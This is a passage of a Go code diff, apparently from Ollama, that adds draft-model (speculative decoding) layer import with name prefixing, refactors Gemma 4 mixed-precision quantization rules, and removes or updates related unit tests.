nvfp4", "q_proj.weight", []int32{4096, 4096}, "nvfp4", true}, - {"large 2D weight mxfp4", "q_proj.weight", []int32{4096, 4096}, "mxfp4", true}, - - // Small tensors should not be quantized (< 1024 elements) - {"tiny 2D weight", "tiny.weight", []int32{16, 16}, "fp8", false}, - {"small 2D weight", "small.weight", []int32{31, 31}, "fp8", false}, - - // 1D tensors should not be quantized - {"1D tensor", "layer_norm.weight", []int32{4096}, "fp8", false}, - - // 3D+ tensors should not be quantized - {"3D tensor", "conv.weight", []int32{64, 64, 3}, "fp8", false}, - {"4D tensor", "conv2d.weight", []int32{64, 64, 3, 3}, "fp8", false}, - {"stacked expert switch_mlp gate_up 3D int8", "model.layers.1.mlp.switch_mlp.gate_up_proj.weight", []int32{64, 22016, 4096}, "int8", true}, - {"stacked expert experts down_proj 3D int8", "model.layers.1.mlp.experts.down_proj.weight", []int32{64, 4096, 14336}, "int8", true}, - {"stacked expert combined gate_up 3D int8", "model.language_model.layers.0.mlp.experts.gate_up_proj", []int32{256, 1024, 2048}, "int8", true}, - {"stacked expert combined down_proj 3D int8", "model.language_model.layers.0.mlp.experts.down_proj", []int32{256, 2048, 512}, "int8", true}, - - // Embeddings should not be quantized regardless of shape - {"embedding 2D", "embed_tokens.weight", []int32{32000, 4096}, "fp8", false}, - - // Norms should not be quantized regardless of shape - {"norm 2D", "layer_norm.weight", []int32{4096, 1}, "fp8", false}, - - // Biases should not be quantized - {"bias 2D", "proj.bias", []int32{4096, 1}, "fp8", false}, - - // Group size divisibility tests - // FP8/FP4/MXFP4 require divisible by 32 - {"not divisible by 32 fp8", "proj.weight", []int32{128, 48}, "fp8", false}, - {"divisible by 32 fp8", "proj.weight", []int32{128, 64}, "fp8", true}, - {"not divisible by 32 mxfp4", "proj.weight", []int32{128, 48}, "mxfp4", false}, - {"divisible by 32 mxfp4", "proj.weight", []int32{128, 64}, "mxfp4", true}, - // NVFP4 requires divisible by 16 - {"not divisible by 16 nvfp4", "proj.weight", []int32{128, 24}, "nvfp4", false}, - {"divisible by 16 nvfp4", "proj.weight", []int32{128, 48}, "nvfp4", true}, - } - - for _, tt := range tests { - t.Run(tt.name, func(t *testing.T) { - got := ShouldQuantizeTensor(tt.tensor, tt.shape, tt.quantize) - if got != tt.want { - t.Errorf("ShouldQuantizeTensor(%q, %v, %q) = %v, want %v", tt.tensor, tt.shape, tt.quantize, got, tt.want) - } - }) - } -} - func TestExpertGroupPrefix(t *testing.T) { tests := []struct { name string @@ -2161,14 +589,20 @@ func TestGetTensorQuantization_MixedPrecisionPromotion(t *testing.T) { {"gate_proj int4 stays", "model.layers.0.mlp.gate_proj.weight", aligned, "int4", "int4"}, {"up_proj int4 stays", "model.layers.0.mlp.up_proj.weight", aligned, "int4", "int4"}, - // nvfp4/mxfp4/mxfp8: no promotion (uniform quantization) - {"v_proj nvfp4 uniform", "model.layers.0.self_attn.v_proj.weight", aligned, "nvfp4", "nvfp4"}, - {"down_proj mxfp4 uniform", "model.layers.0.mlp.down_proj.weight", aligned, "mxfp4", "mxfp4"}, + // nvfp4/mxfp4 → mxfp8 promotion for sensitive tensors; mxfp8 stays uniform + {"v_proj nvfp4 promoted", "model.layers.0.self_attn.v_proj.weight", aligned, "nvfp4", "mxfp8"}, + {"down_proj mxfp4 promoted", "model.layers.0.mlp.down_proj.weight", aligned, "mxfp4", "mxfp8"}, + {"q_proj nvfp4 stays", "model.layers.0.self_attn.q_proj.weight", aligned, "nvfp4", "nvfp4"}, {"v_proj mxfp8 uniform", "model.layers.0.self_attn.v_proj.weight", aligned, "mxfp8", "mxfp8"}, // int8: already 8-bit, no promotion {"v_proj int8 stays", "model.layers.0.self_attn.v_proj.weight", aligned, "int8", "int8"}, + // lm_head stays at source precision for fp modes, quantizes for affine + {"lm_head nvfp4 kept", "lm_head.weight", aligned, "nvfp4", ""}, + {"lm_head mxfp8 kept", "lm_head.weight", aligned, "mxfp8", ""}, + {"lm_head int4 stays", "lm_head.weight", aligned, "int4", "int4"}, + // Expert tensors: down_proj also promoted for int4 {"expert down_proj int4", "model.layers.0.mlp.experts.down_proj.weight", []int32{128, 4096, 2816}, "int4", "int8"}, {"moe expert down_proj int4", "model.layers.0.moe.experts.down_proj.weight", []int32{128, 4096, 2816}, "int4", "int8"}, @@ -2187,297 +621,3 @@ func TestGetTensorQuantization_MixedPrecisionPromotion(t *testing.T) { }) } } - -func TestCreateSafetensorsModel_Qwen35NVFP4PacksSwitchMLPExperts(t *testing.T) { - dir := t.TempDir() - - configJSON := `{ - "model_type": "test", - "architectures": ["Qwen3_5MoeForConditionalGeneration"], - "text_config": {"dtype": "bfloat16"} - }` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - gateUpValues := make([]float32, 2*128*64) - for expert := range 2 { - base := expert * 128 * 64 - for i := range 64 * 64 { - gateUpValues[base+i] = 1 - gateUpValues[base+64*64+i] = 2 - } - } - - createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ - st.NewTensorDataFromBytes("model.language_model.embed_tokens.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.gate.weight", "BF16", []int32{64, 64}, make([]byte, 64*64*2)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.gate_up_proj", "BF16", []int32{2, 128, 64}, bfloat16.EncodeFloat32(gateUpValues)), - st.NewTensorDataFromBytes("model.language_model.layers.0.mlp.experts.down_proj", "BF16", []int32{2, 64, 64}, bfloat16.EncodeFloat32(make([]float32, 2*64*64))), - }) - - type tensorCall struct { - quantize string - } - type packedTensorCall struct { - Name string - Dtype string - Shape []int32 - Quantize string - } - - tensorCalls := make(map[string]tensorCall) - packedCalls := make(map[string][]packedTensorCall) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - _, _ = io.ReadAll(r) - return LayerInfo{Name: name, Digest: "sha256:" + name, MediaType: mediaType}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - _, _ = io.ReadAll(r) - tensorCalls[name] = tensorCall{quantize: quantize} - return []LayerInfo{{Name: name, Digest: "sha256:" + name, MediaType: "application/vnd.ollama.image.tensor"}}, nil - } - - createPackedLayer := func(groupName string, tensors []PackedTensorInput) (LayerInfo, error) { - group := make([]packedTensorCall, 0, len(tensors)) - for _, tensor := range tensors { - group = append(group, packedTensorCall{ - Name: tensor.Name, - Dtype: tensor.Dtype, - Shape: append([]int32(nil), tensor.Shape...), - Quantize: tensor.Quantize, - }) - } - packedCalls[groupName] = group - return LayerInfo{Name: groupName, Digest: "sha256:" + groupName, MediaType: "application/vnd.ollama.image.tensor"}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - - if err := CreateSafetensorsModel("test-model", dir, "nvfp4", createLayer, createTensorLayer, writeManifest, func(string) {}, createPackedLayer); err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - groupName := "language_model.model.layers.0.mlp.switch_mlp" - group, ok := packedCalls[groupName] - if !ok { - t.Fatalf("missing packed group %q: %v", groupName, packedCalls) - } - - if len(group) != 3 { - t.Fatalf("packed group %q has %d tensors, want 3", groupName, len(group)) - } - - gotNames := make([]string, 0, len(group)) - for _, tensor := range group { - gotNames = append(gotNames, tensor.Name) - if tensor.Quantize != "nvfp4" { - t.Fatalf("packed tensor %q quantize = %q, want %q", tensor.Name, tensor.Quantize, "nvfp4") - } - if tensor.Dtype != "BF16" { - t.Fatalf("packed tensor %q dtype = %q, want %q", tensor.Name, tensor.Dtype, "BF16") - } - } - slices.Sort(gotNames) - - wantNames := []string{ - "language_model.model.layers.0.mlp.switch_mlp.down_proj.weight", - "language_model.model.layers.0.mlp.switch_mlp.gate_proj.weight", - "language_model.model.layers.0.mlp.switch_mlp.up_proj.weight", - } - if !slices.Equal(gotNames, wantNames) { - t.Fatalf("packed tensor names = %v, want %v", gotNames, wantNames) - } - - for _, name := range wantNames { - if _, ok := tensorCalls[name]; ok { - t.Fatalf("packed expert tensor %q unexpectedly handled by createTensorLayer", name) - } - } - - if got := tensorCalls["language_model.model.embed_tokens.weight"].quantize; got != "" { - t.Fatalf("embed_tokens quantize = %q, want empty", got) - } - if got := tensorCalls["language_model.model.layers.0.mlp.gate.weight"].quantize; got != "" { - t.Fatalf("mlp.gate quantize = %q, want empty", got) - } -} - -func TestCreateSafetensorsModel_WithQuantize(t *testing.T) { - dir := t.TempDir() - - // Create config.json - configJSON := `{"model_type": "test", "architectures": ["TestModel"]}` - if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(configJSON), 0o644); err != nil { - t.Fatalf("failed to write config.json: %v", err) - } - - // Create a minimal safetensors file - createMinimalSafetensors(t, filepath.Join(dir, "model.safetensors")) - - var quantizeRequested []string - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - io.ReadAll(r) - return LayerInfo{Name: name, Digest: "sha256:test"}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - io.ReadAll(r) - quantizeRequested = append(quantizeRequested, quantize) - return []LayerInfo{{Name: name}}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - - progressFn := func(status string) {} - - // Run with quantize enabled - err := CreateSafetensorsModel("test-model", dir, "fp8", createLayer, createTensorLayer, writeManifest, progressFn) - if err != nil { - t.Fatalf("CreateSafetensorsModel failed: %v", err) - } - - // Verify quantize was passed to callback (will be false for small test tensor) - if len(quantizeRequested) == 0 { - t.Error("no tensors processed") - } -} - -// createMinimalImageGenModel creates a minimal diffusers-style model directory -func createMinimalImageGenModel(t *testing.T, dir string) { - t.Helper() - - // Create model_index.json - modelIndex := `{"_class_name": "FluxPipeline", "_diffusers_version": "0.30.0"}` - if err := os.WriteFile(filepath.Join(dir, "model_index.json"), []byte(modelIndex), 0o644); err != nil { - t.Fatalf("failed to write model_index.json: %v", err) - } - - // Create transformer directory with a safetensors file - transformerDir := filepath.Join(dir, "transformer") - if err := os.MkdirAll(transformerDir, 0o755); err != nil { - t.Fatalf("failed to create transformer dir: %v", err) - } - createMinimalSafetensors(t, filepath.Join(transformerDir, "model.safetensors")) - - // Create transformer config - transformerConfig := `{"hidden_size": 3072}` - if err := os.WriteFile(filepath.Join(transformerDir, "config.json"), []byte(transformerConfig), 0o644); err != nil { - t.Fatalf("failed to write transformer config: %v", err) - } -} - -func TestCreateImageGenModel(t *testing.T) { - dir := t.TempDir() - createMinimalImageGenModel(t, dir) - - var manifestWritten bool - var manifestModelName string - var statusMessages []string - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - io.ReadAll(r) - return LayerInfo{Name: name, Digest: "sha256:test"}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - io.ReadAll(r) - return []LayerInfo{{Name: name, Digest: "sha256:tensor"}}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - manifestWritten = true - manifestModelName = modelName - return nil - } - - progressFn := func(status string) { - statusMessages = append(statusMessages, status) - } - - err := CreateImageGenModel("test-imagegen", dir, "", createLayer, createTensorLayer, writeManifest, progressFn) - if err != nil { - t.Fatalf("CreateImageGenModel failed: %v", err) - } - - if !manifestWritten { - t.Error("manifest was not written") - } - - if manifestModelName != "test-imagegen" { - t.Errorf("manifest model name = %q, want %q", manifestModelName, "test-imagegen") - } - - if len(statusMessages) == 0 { - t.Error("no status messages received") - } -} - -func TestCreateImageGenModel_NoModelIndex(t *testing.T) { - dir := t.TempDir() - - // Create only transformer without model_index.json - transformerDir := filepath.Join(dir, "transformer") - if err := os.MkdirAll(transformerDir, 0o755); err != nil { - t.Fatalf("failed to create transformer dir: %v", err) - } - createMinimalSafetensors(t, filepath.Join(transformerDir, "model.safetensors")) - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - io.ReadAll(r) - return LayerInfo{Name: name}, nil - } - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - io.ReadAll(r) - return []LayerInfo{{Name: name}}, nil - } - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - progressFn := func(status string) {} - - err := CreateImageGenModel("test-imagegen", dir, "", createLayer, createTensorLayer, writeManifest, progressFn) - if err == nil { - t.Error("expected error for missing model_index.json, got nil") - } -} - -func TestCreateImageGenModel_WithQuantize(t *testing.T) { - dir := t.TempDir() - createMinimalImageGenModel(t, dir) - - var quantizeRequested []string - - createLayer := func(r io.Reader, mediaType, name string) (LayerInfo, error) { - io.ReadAll(r) - return LayerInfo{Name: name, Digest: "sha256:test"}, nil - } - - createTensorLayer := func(r io.Reader, name, dtype string, shape []int32, quantize string) ([]LayerInfo, error) { - io.ReadAll(r) - quantizeRequested = append(quantizeRequested, quantize) - return []LayerInfo{{Name: name}}, nil - } - - writeManifest := func(modelName string, config LayerInfo, layers []LayerInfo) error { - return nil - } - - progressFn := func(status string) {} - - err := CreateImageGenModel("test-imagegen", dir, "int8", createLayer, createTensorLayer, writeManifest, progressFn) - if err != nil { - t.Fatalf("CreateImageGenModel failed: %v", err) - } - - if len(quantizeRequested) == 0 { - t.Error("no tensors processed") - } -} diff --git a/x/create/draft.go b/x/create/draft.go new file mode 100644 index 000000000..b6e3d9f51 --- /dev/null +++ b/x/create/draft.go @@ -0,0 +1,83 @@ +package create + +import "fmt" + +// CreateDraftLayers imports a draft (speculative-decoding / MTP assistant) +// safetensors model into prefixed tensor and config blobs and returns the +// layers WITHOUT writing a manifest — the caller folds them into the target +// model's manifest. A draft never stands alone; it always accompanies a target +// model named on the Modelfile's FROM line. +// +// It runs the same read → classify → plan → write pipeline as Create. Output +// tensor names keep their source form, namespaced by tensorPrefix (e.g. +// "draft.") so they cannot collide with the target's tensors; config blobs are +// named under configPrefix (e.g. "draft/"). +func CreateDraftLayers(modelDir, tensorPrefix, configPrefix, quantize string, store BlobStore, fn func(status string)) ([]LayerInfo, error) { + if tensorPrefix == "" { + return nil, fmt.Errorf("draft tensor prefix must not be empty") + } + if configPrefix == "" { + return nil, fmt.Errorf("draft config prefix must not be empty") + } + defer sweepMLX() + + inv, err := ReadInventory(modelDir) + if err != nil { + return nil, fmt.Errorf("read draft model: %w", err) + } + class, err := Classify(inv, quantize) + if err != nil { + return nil, err + } + policy, err := newTensorImportTransform(inv) + if err != nil { + return nil, fmt.Errorf("build draft quantization policy for %q: %w", inv.Config.Architecture(), err) + } + specs, err := Plan(inv, class, draftPolicy{policy}) + if err != nil { + return nil, fmt.Errorf("plan draft model: %w", err) + } + specs = prefixSpecs(specs, tensorPrefix) + + fn(fmt.Sprintf("importing draft (%d tensors%s)", len(inv.Tensors), quantizeStatus(class))) + layers, err := WriteBlobs(specs, modelDir, store) + if err != nil { + return nil, err + } + + configLayers, _, err := importConfigBlobs(modelDir, configPrefix, store, fn) + if err != nil { + return nil, err + } + return append(layers, configLayers...), nil +} + +// prefixSpecs returns specs with prefix prepended to every output blob name and +// output tensor name, leaving the source references (which point at the source +// files) untouched. Scale/bias keys derive from the tensor name, so they inherit +// the prefix automatically. +func prefixSpecs(specs []BlobSpec, prefix string) []BlobSpec { + out := make([]BlobSpec, len(specs)) + for i, spec := range specs { + tensors := make([]TensorSpec, len(spec.Tensors)) + for j, ts := range spec.Tensors { + ts.Name = prefix + ts.Name + tensors[j] = ts + } + out[i] = BlobSpec{Name: prefix + spec.Name, Tensors: tensors, Metadata: spec.Metadata} + } + return out +} + +// draftPolicy wraps an architecture policy to keep a draft model's token +// embedding at source precision (drafts start with unquantized embeddings; this +// may change later). Every other tensor follows the wrapped policy. It is given +// unprefixed source names, since planning runs before prefixSpecs. +type draftPolicy struct{ inner quantizePolicy } + +func (p draftPolicy) quantizationType(name string, shape []int32, requested string) string { + if isEmbedTokensWeight(name) { + return "" + } + return p.inner.quantizationType(name, shape, requested) +} diff --git a/x/create/draft_test.go b/x/create/draft_test.go new file mode 100644 index 000000000..6bf9ff67f --- /dev/null +++ b/x/create/draft_test.go @@ -0,0 +1,121 @@ +package create + +import ( + "io" + "os" + "path/filepath" + "slices" + "testing" + + st "github.com/ollama/ollama/x/safetensors" +) + +// recordingStore captures the blobs a pipeline run produces so tests can assert +// on their names and contents. +type recordingStore struct { + names []string + blobs map[string][]byte +} + +func (s *recordingStore) WriteBlob(r io.Reader, mediaType, name string) (LayerInfo, error) { + data, err := io.ReadAll(r) + if err != nil { + return LayerInfo{}, err + } + if s.blobs == nil { + s.blobs = map[string][]byte{} + } + s.blobs[name] = data + s.names = append(s.names, name) + return LayerInfo{Digest: "sha256:" + name, Size: int64(len(data)), MediaType: mediaType, Name: name}, nil +} + +func TestPrefixSpecs(t *testing.T) { + specs := []BlobSpec{ + { + Name: "model.layers.0.mlp.experts", + Tensors: []TensorSpec{{ + Name: "model.layers.0.mlp.experts.gate_proj.weight", + Sources: []SourceTensor{{Name: "model.layers.0.mlp.experts.0.gate_proj.weight", File: "a.safetensors"}}, + Quantize: "int8", + }}, + }, + } + got := prefixSpecs(specs, "draft.") + + if got[0].Name != "draft.model.layers.0.mlp.experts" { + t.Errorf("blob name = %q, want draft.-prefixed", got[0].Name) + } + if got[0].Tensors[0].Name != "draft.model.layers.0.mlp.experts.gate_proj.weight" { + t.Errorf("tensor name = %q, want draft.-prefixed", got[0].Tensors[0].Name) + } + if got[0].Tensors[0].Quantize != "int8" { + t.Errorf("quantize = %q, want it preserved", got[0].Tensors[0].Quantize) + } + // Sources point at the source files and must not be prefixed. + if got[0].Tensors[0].Sources[0].Name != "model.layers.0.mlp.experts.0.gate_proj.weight" { + t.Errorf("source name = %q, want unchanged", got[0].Tensors[0].Sources[0].Name) + } + // The input must not be mutated. + if specs[0].Name != "model.layers.0.mlp.experts" || specs[0].Tensors[0].Name != "model.layers.0.mlp.experts.gate_proj.weight" { + t.Errorf("prefixSpecs mutated its input: %+v", specs[0]) + } +} + +func TestDraftPolicyKeepsEmbeddingsUnquantized(t *testing.T) { + p := draftPolicy{defaultQuantPolicy{}} + + // Draft token embeddings start unquantized regardless of the request. + if got := p.quantizationType("model.embed_tokens.weight", []int32{4096, 2048}, "int8"); got != "" { + t.Errorf("draft embed_tokens quant = %q, want \"\"", got) + } + // Other eligible weights still follow the wrapped policy. + if got := p.quantizationType("model.layers.0.mlp.down_proj.weight", []int32{2048, 2048}, "int8"); got == "" { + t.Errorf("draft down_proj quant = \"\", want it quantized via the inner policy") + } +} + +func TestCreateDraftLayersPrefixesNamesAndConfig(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, "config.json"), []byte(`{"architectures":["LlamaForCausalLM"]}`), 0o644); err != nil { + t.Fatal(err) + } + createTestSafetensors(t, filepath.Join(dir, "model.safetensors"), []*st.TensorData{ + st.NewTensorDataFromBytes("model.embed_tokens.weight", "BF16", []int32{4, 8}, make([]byte, 4*8*2)), + st.NewTensorDataFromBytes("model.norm.weight", "BF16", []int32{8}, make([]byte, 8*2)), + }) + + store := &recordingStore{} + layers, err := CreateDraftLayers(dir, "draft.", "draft/", "", store, func(string) {}) + if err != nil { + t.Fatalf("CreateDraftLayers: %v", err) + } + if len(layers) == 0 { + t.Fatal("CreateDraftLayers returned no layers") + } + + // Tensor blobs are namespaced under draft.; the config under draft/. + if !slices.Contains(store.names, "draft.model.embed_tokens.weight") { + t.Errorf("missing draft.-prefixed tensor blob; got %v", store.names) + } + if !slices.Contains(store.names, "draft/config.json") { + t.Errorf("missing draft/config.json; got %v", store.names) + } + + // The prefix must also land inside the blob, since the runtime resolves + // draft tensors by the "draft." name prefix. + names := readSafetensorsHeaderNames(t, store.blobs["draft.model.embed_tokens.weight"]) + if !slices.Contains(names, "draft.model.embed_tokens.weight") { + t.Errorf("in-blob tensor name not prefixed; got %v", names) + } +} + +func TestCreateDraftLayersRejectsEmptyPrefixes(t *testing.T) { + store := &recordingStore{} + if _, err := CreateDraftLayers(t.TempDir(), "", "draft/", "", store, func(string) {}); err == nil { + t.Error("expected an error for an empty tensor prefix") + } + if _, err := CreateDraftLayers(t.TempDir(), "draft.", "", "", store, func(string) {}); err == nil { + t.Error("expected an error for an empty config prefix") + } +} diff --git a/x/create/gemma4.go b/x/create/gemma4.go index 2bb493db3..3c79be27c 100644 --- a/x/create/gemma4.go +++ b/x/create/gemma4.go @@ -3,14 +3,7 @@ package create import ( "encoding/json" "fmt" - "io" - "os" - "path/filepath" - "regexp" - "strconv" "strings" - - "github.com/ollama/ollama/x/safetensors" ) type gemma4ImportTransform struct { @@ -28,14 +21,10 @@ type gemma4Config struct { } `json:"text_config"` } -func newGemma4ImportTransform(modelDir string, _ sourceModelConfig) (tensorImportTransform, error) { - data, err := os.ReadFile(filepath.Join(modelDir, "config.json")) - if err != nil { - return gemma4ImportTransform{}, nil //nolint:nilerr // fallback to no heuristic - } +func newGemma4ImportTransform(rawConfig json.RawMessage) (quantizePolicy, error) { var cfg gemma4Config - if err := json.Unmarshal(data, &cfg); err != nil { - return gemma4ImportTransform{}, nil //nolint:nilerr // fallback to no heuristic + if err := json.Unmarshal(rawConfig, &cfg); err != nil { + return nil, fmt.Errorf("gemma4: parse config.json: %w", err) } numLayers := cfg.NumHiddenLayers @@ -50,228 +39,57 @@ func newGemma4ImportTransform(modelDir string, _ sourceModelConfig) (tensorImpor return gemma4ImportTransform{numLayers: numLayers, numExperts: numExperts}, nil } -func (t gemma4ImportTransform) skipTensor(name string) bool { - return false -} - -// layerIndexRe extracts the layer index from tensor names like -// "model.language_model.layers.5.self_attn.v_proj.weight" or -// "model.language_model.layers.5.moe.experts.42.down_proj.weight" -var layerIndexRe = regexp.MustCompile(`\.layers\.(\d+)\.`) - -// useMoreBits returns true for layers where quantization-sensitive tensors -// should use higher precision: the first and last 1/8 of layers (which handle -// input grounding and final output refinement), plus every 3rd layer in between -// to limit error accumulation through the residual stream. -func useMoreBits(layerIdx, numLayers int) bool { - return layerIdx < numLayers/8 || - layerIdx >= 7*numLayers/8 || - (layerIdx-numLayers/8)%3 == 2 -} - func (t gemma4ImportTransform) quantizationType(name string, shape []int32, quantize string) string { - quantNorm := normalizeQuantType(quantize) - - // Embedding: quantize to 8-bit variant for bandwidth efficiency. - // The embedding serves double duty: lookup (via QuantizedEmbedding) and - // lm_head projection (via AsLinear). Using 8-bit matches GGUF Q6_K quality - // (strictly higher at 8 bpw vs 6.5 bpw) while saving ~2.8 GB on 31B vs bf16. - if isEmbedTokensWeight(name) { - switch quantNorm { - case "int4", "int8": - if isAligned(shape, "int8") { - return "int8" - } - case "mxfp4", "nvfp4", "mxfp8": - if isAligned(shape, "mxfp8") { - return "mxfp8" - } + base := normalizeQuantType(quantize) + switch { + case isEmbedTokensWeight(name): + // The embedding doubles as the lm_head projection; an 8-bit type keeps + // quality close to bf16 (matching GGUF Q6_K) while saving bandwidth. + // Fall back to the base type when 8-bit does not fit the vocab shape. + if e := promoteEmbedding(shape, base); e != "" { + return e } - if isAligned(shape, quantNorm) { - return quantNorm + if isAligned(shape, base) { + return base } return "" + case t.isSensitiveProjection(name) && eightBit(base) != base: + return sensitiveType(t.promoteSensitive(name), shape, base) + default: + // Routing gates, norms, embeddings, etc. are handled by the generic + // policy; everything else quantizes at the requested type. + return GetTensorQuantization(name, shape, quantize) } - - // MoE router logits choose the top-k expert set. Quantization noise here - // can flip expert selection, after which downstream activations diverge - // sharply. The tensor is small, so leave it in source precision. - if isGemma4RouterProjection(name) { - return "" - } - - // Mixed-precision quantization: sensitive tensors get higher precision. - // - // Value projections (v_proj) directly determine attention output quality. - // Down projections (down_proj) are the final MLP output and errors there - // propagate directly to the residual stream. Both benefit from higher - // precision at early layers, late layers, and periodically in between - // (the "useMoreBits" heuristic). - // - // For int4: promote → int8 (same affine family, GatherQMM compatible). - // For mxfp4/nvfp4: promote → mxfp8. MLX quantized_matmul handles mixed - // nvfp4+mxfp8 modes within the same model — each tensor carries its own - // quant metadata and the kernel dispatches per-tensor. - if t.numLayers > 0 { - layerIdx := -1 - if m := layerIndexRe.FindStringSubmatch(name); m != nil { - if idx, err := strconv.Atoi(m[1]); err == nil { - layerIdx = idx - } - } - - // Determine promotion target for sensitive tensors. - // "int8" = int4 base → int8 (affine family) - // "mxfp8" = mxfp4/nvfp4 base → mxfp8 - // "" = no promotion (int8/mxfp8, already 8-bit) - promote := "" - switch quantNorm { - case "int4": - promote = "int8" - case "mxfp4", "nvfp4": - promote = "mxfp8" - } - - // Only apply to language model tensors — audio/vision tower tensors - // should pass through to GetTensorQuantization which skips them. - isModelTensor := !strings.Contains(name, "audio_tower") && - !strings.Contains(name, "vision_tower") - isSensitive := isModelTensor && - (strings.Contains(name, ".v_proj") || strings.Contains(name, "down_proj")) - isSensitiveK := isModelTensor && strings.Contains(name, "k_proj") - - if promote != "" && (isSensitive || isSensitiveK) { - shouldPromote := false - - // 8-expert models: v_proj and k_proj share very few KV heads, - // so quantization errors are amplified. Always promote. - if t.numExperts == 8 && (strings.Contains(name, ".v_proj") || isSensitiveK) { - shouldPromote = true - } - - // Layer-position heuristic for v_proj and down_proj. - if isSensitive && layerIdx >= 0 && useMoreBits(layerIdx, t.numLayers) { - shouldPromote = true - } - - if shouldPromote && isAligned(shape, promote) { - return promote - } - - // Sensitive tensor at a non-promoted layer: use base quant type. - // Return directly to bypass GetTensorQuantization's uniform - // promotion — the layer-position heuristic is authoritative here. - if !isAligned(shape, quantNorm) { - return "" - } - return quantNorm - } - } - - return GetTensorQuantization(name, shape, quantize) } -// isEmbedTokensWeight returns true for the main token embedding weight. -func isEmbedTokensWeight(name string) bool { - return strings.HasSuffix(name, "embed_tokens.weight") && - !strings.Contains(name, "per_layer") -} - -func isGemma4RouterProjection(name string) bool { - return strings.HasSuffix(name, ".router.proj.weight") && - !strings.Contains(name, "audio_tower") && - !strings.Contains(name, "vision_tower") -} - -func (t gemma4ImportTransform) transformTensor(td *safetensors.TensorData) ([]*safetensors.TensorData, error) { - if td == nil { - return nil, nil - } - - // Split pre-stacked MoE expert tensors [N, out, in] into per-expert - // [out, in] tensors so they go through the standard expert packing and - // quantization flow (ExpertGroupPrefix matching, per-expert quantize). - if isGemma4StackedMoETensor(td.Name, td.Shape) { - return splitStackedMoETensor(td) - } - - return []*safetensors.TensorData{td}, nil -} - -// isGemma4StackedMoETensor checks if this is a pre-stacked MoE expert weight. -// Gemma 4 HF weights come in two layouts depending on the model version: -// - Older: model.language_model.layers.N.moe.{gate,up,down}_proj [experts, dim1, dim2] -// - Newer: model.language_model.layers.N.experts.{gate_up,down}_proj [experts, dim1, dim2] -// -// The newer layout has gate+up already fused. We keep it fused (no splitting) -// so the tensors flow through the standard expert packing and quantization path. -func isGemma4StackedMoETensor(name string, shape []int32) bool { - if len(shape) != 3 { +// isSensitiveProjection reports the value/key/down projections whose precision +// most affects quality — attention output (v/k) and the residual stream +// (down). Audio and vision tower tensors are excluded and follow the generic +// policy. +func (t gemma4ImportTransform) isSensitiveProjection(name string) bool { + if isVisionTower(name) || isAudioTower(name) { return false } - if strings.Contains(name, ".moe.") || strings.Contains(name, ".experts.") { - return strings.HasSuffix(name, "_proj") || strings.HasSuffix(name, "_proj.weight") - } - return false + return strings.Contains(name, ".v_proj") || + strings.Contains(name, ".k_proj") || + strings.Contains(name, "down_proj") } -// splitStackedMoETensor splits a [N, out, in] stacked expert tensor into -// N individual [out, in] tensors named with the per-expert convention that -// ExpertGroupPrefix expects: prefix.moe.experts.{E}.{proj}.weight -func splitStackedMoETensor(td *safetensors.TensorData) ([]*safetensors.TensorData, error) { - raw, err := io.ReadAll(td.Reader()) - if err != nil { - return nil, fmt.Errorf("failed to read tensor %s: %w", td.Name, err) +// promoteSensitive decides whether a sensitive projection uses 8-bit precision. +// 8-expert models share very few KV heads, so their k/v projections are always +// promoted; otherwise v/down projections are promoted at the input and output +// layers and periodically between (useMoreBits), where residual-stream error +// accumulates most. +func (t gemma4ImportTransform) promoteSensitive(name string) bool { + if t.numLayers == 0 { + return false } - - numExperts := int(td.Shape[0]) - rows := int(td.Shape[1]) // out_features in HF layout - cols := int(td.Shape[2]) // in_features in HF layout - - elemSize, err := DTypeSize(td.Dtype) - if err != nil { - return nil, fmt.Errorf("failed to get dtype size for %s: %w", td.Dtype, err) + if t.numExperts == 8 && (strings.Contains(name, ".v_proj") || strings.Contains(name, ".k_proj")) { + return true } - - perExpertBytes := rows * cols * elemSize - if len(raw) != numExperts*perExpertBytes { - return nil, fmt.Errorf("tensor %s: raw byte length %d does not match shape %v and dtype %s", - td.Name, len(raw), td.Shape, td.Dtype) + if strings.Contains(name, ".k_proj") { + return false // k_proj is promoted only via the 8-expert path } - - // Determine the per-expert name pattern. - // Two source layouts: - // Old: model.language_model.layers.N.moe.gate_proj - // -> model.language_model.layers.N.moe.experts.E.gate_proj.weight - // New: model.language_model.layers.N.experts.gate_up_proj - // -> model.language_model.layers.N.moe.experts.E.gate_up_proj.weight - baseName := td.Name - baseName = strings.TrimSuffix(baseName, ".weight") - lastDot := strings.LastIndex(baseName, ".") - if lastDot < 0 { - return nil, fmt.Errorf("tensor %s: unexpected name format", td.Name) - } - parentPrefix := baseName[:lastDot] // "...layers.N.moe" or "...layers.N.experts" - projName := baseName[lastDot+1:] // "gate_proj" or "gate_up_proj" - - // Normalize: if parent already ends with ".experts", use the grandparent + ".moe" - // so we get a consistent "layers.N.moe.experts.E" pattern. - var moePrefix string - if cut, ok := strings.CutSuffix(parentPrefix, ".experts"); ok { - moePrefix = cut + ".moe" - } else { - moePrefix = parentPrefix - } 